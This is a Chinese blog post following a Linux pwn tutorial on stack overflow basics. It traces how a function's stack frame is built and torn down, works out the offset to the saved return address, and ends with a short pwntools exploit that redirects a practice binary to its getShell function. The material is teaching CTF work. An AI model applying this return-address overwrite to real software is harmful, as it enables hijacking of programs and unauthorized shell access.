Linux pwn入门教程,i春秋linux_pwn入门教程复现之栈溢出基础
i春秋linux_pwn入门教程复现之栈溢出基础
演示进程总览
1:
main函数
2:
hello函数
3:
getShell函数
函数的入栈和出栈
1:
F2断点于call hello
启动IDA远程调试F9运行
EIP=0x080484D9,保存着下一条将要执行的命令、ESP=0xFF80EA90,保存着栈顶地址、EBP=0xFF80EA98,保存着栈底地址。
2:
验证EIP始终指向下一条将要执行的命令:
修改EIP的值为call hello下的【mov eax,0】对应的地址看是否跳过call hello
F9运行
IDA卡死,远程动态调试失败。【动态调试还是选择OD或者gdb合适,IDA用作静态分析还行】
采用gdb-peda验证
查看eip地址
运行查看
3:
验证栈的特征为向低地址生长
当前EBP=0xffffd138,ESP=0xffffd12c。
当前EBP=0xffffd138,ESP=0xffffd128。
从两张图片看,ESP指向栈顶,且向低地址生长。EIP不停压入栈中,使得ESP不断减4,指向新栈顶。
栈的另一个特征为后进先出(先入后出),针对存储于栈的元素。
4:
函数的入栈
当前main函数,即将执行hello函数(0x80484d9),执行完hello函数后下一条命令为0x80484de
进入hello函数,EIP执行hello函数的第一条命令,EBP=0xffffd168,ESP=0xffffd15c。
ESP中保存着前面还没进入hello函数的下一条命令0x80484de,入栈。
继续执行,原ESP-4后,新ESP=0xffffd158,指向新栈顶。
ESP中保存着原EBP的值=0xffffd168
继续执行,【mov ebp,esp】把当前ESP的值=0xffffd168赋给ebp。
EBP保存着当前的栈底,进入栈中。
继续执行,通过【sub esp,0x18】拓展栈帧,同时指向新栈顶。当前EBP=0xffffd158,ESP=0xffffd140。
当前栈中保存着原EIP和原EBP。
栈底和栈顶保持不变,【mov DWORD PTR [ebp-0xe],0x0】和【mov DWORD PTR [ebp-0xa],0x0】为部署0x00到栈中。
通过【sub esp.0x4】(ESP=0xffffd13c),开辟新栈帧。
【push 0x64】,向栈内压入0x64,ESP=0xffffd13c-4=0xffffd138指向0x64。
指定一个地址给eax,然后将eax压入栈中,接着压入0x0。同时ESP指向新栈顶。
执行read函数,向栈中输入8个A
当前函数栈帧分布为:
eax保存着enter,ebx和edi都保存着0x0,edx保存着0x64,ecx保存着输入的局部变量8个A。其在0xffffd146。
继续执行,栈顶ESP变化,寄存器变换数值,执行print函数。
5:
函数的出栈
执行leave命令,回到【sub esp,0x18】拓展栈帧,EBP=0xffffd158保存着原EBP数据用于即将恢复,ESP=0xffffd140的状态。
执行ret命令,回到刚进入hello函数的状态,EBP恢复=0xffffd168,ESP=0xffffd15c,其内保存了原EIP数据(下一条要执行的命令)。
此时栈帧被销毁。即将回到main函数。
EBP和ESP和EIP都恢复到main函数状态。
6:
函数的入栈和出栈全过程图示
POC
根据read(0,&buf,0x64),其在栈中的布局为下图,并且局部变量输入的起始地址是0xffffd146:
那么从老EIP保存的地址到局部变量输入的起始地址,一共是0xffffd15c-0xffffd146=hex(22)=0x16个字节。
由于输入的空间为0x64故,当输入0x16的数据后,后面的4个字节就会覆盖保存的EIP(32位故为4个字节)
EXP
既然我们可以覆盖保存的EIP,意味着就可以劫持进程的运行流程,使其可以执行我们想要的功能(例如getShell函数)
查找getShell中的地址
1
2
3
4
5from pwn import *
p = process('./hello')
payload = 'A'*0x16+p32(0x804846b)
p.sendline(payload)
p.interactive()
Linux pwn入门教程,i春秋linux_pwn入门教程复现之栈溢出基础相关推荐
- Linux pwn入门教程——CTF比赛
Linux pwn入门教程(1)--栈溢出基础 from:https://zhuanlan.zhihu.com/p/38985585 0x00 函数的进入与返回 要想理解栈溢出,首先必须理解在汇编层面 ...
- c# 定位内存快速增长_CTF丨Linux Pwn入门教程:针对函数重定位流程的相关测试(下)...
Linux Pwn入门教程系列分享已到尾声,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- linux内核二当家,Linux PWN从入门到熟练(二)
前言 上回说到,如何利用程序中system函数以及bin/sh字符串来进行pwn.这里我们会介绍,如何在栈可执行而system函数以及参数没有的情况下,如何自己布置payload进行pwn.此外,还提 ...
- Linux PWN从入门到熟练
最近在复习pwn的一些知识.主要涉及到当堆栈开启了保护的时候,我们不能够直接将shellcode覆盖到堆栈中执行,而需要利用程序其他部分的可执行的小片段来连接成最终的shellcode.此小片段就是g ...
- linux安装ppt教程视频教程下载,Linux教程ch2Linux安装及入门.ppt
Linux教程ch2Linux安装及入门.ppt (68页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 29.9 积分 第二章 Linux安装及入门 Li ...
- python快速编程入门黑马-新手如何快速入门Python编程?/开发python入门教程
Python从入门到实践的教程是什么? 第一阶段Python与Linux数据这是Python的入段,也是帮助零基础学员打好基础的重要阶段,让零基础学员可以具备基础的编程能力,并掌握MySQL进阶内容. ...
- 不知道如何入门编程?最全在线教程网站汇总来了,还不赶快收藏
程序员是一个需要不断学习的职业.幸运的是,在这个互联网时代,知识就在那里,等着我们去获取. 作为一个"分享从未停止,学习从未开始"的博主,秉承着好东西不能独享的态度,把收藏的学习网 ...
- nas java_小白入门NAS—快速搭建私有云教程系列(一)
什么是NAS 在日常的工作生活中,我们有大量的资料.文件需要存储在电脑或者其他终端设备中,但是这种方式需要电脑配备高容量的硬盘,而且需要随时随地的带着,这样是不是很麻烦? 那么,今天,我来介绍一种家庭 ...
最新文章
- 将Byte数组转化为String
- android 仿人人网滑动侧边栏
- java的注释、关键字、标识符、变量常量、数据类型、运算符、流程控制等
- 必须声明标量变量 @sum_level。_ES6系列—新的变量声明方式
- 安装低版本的R语言、和自行下载安装各个版本的R语言包、以及多环境运行R
- Spark学习笔记:使用RDD
- js去掉第一个换行符_通过异步迭代简化Node.js流程
- 停电导致IIS问题,解决inetinfo的CPU占用很大
- Pure-Ftp:基于虚拟账号的FTP服务器
- Xcode使用小技巧-filter查找功能和查看最近修改的文件
- Android之Handler,举例说明如何更新UI
- # 研究杂感 × VOSviewer(第四辑)
- android支持wifi11ad,WiFi“千兆”必杀,802.11ax/802.11ad标准探秘
- ireport 循环_iReport制作报表1:iReport Designer的使用
- 移动磁盘数据错误循环冗余检查,要怎样恢复数据
- 街霸四高难度连技模式全攻略
- MT7686芯片资料手册
- 2018年物联网趋势
- 文华编程是c 语言吗,华中科技大学文华学院级软件工程c语言.docx
- vue3+vite3+vant搭建移动端简易模版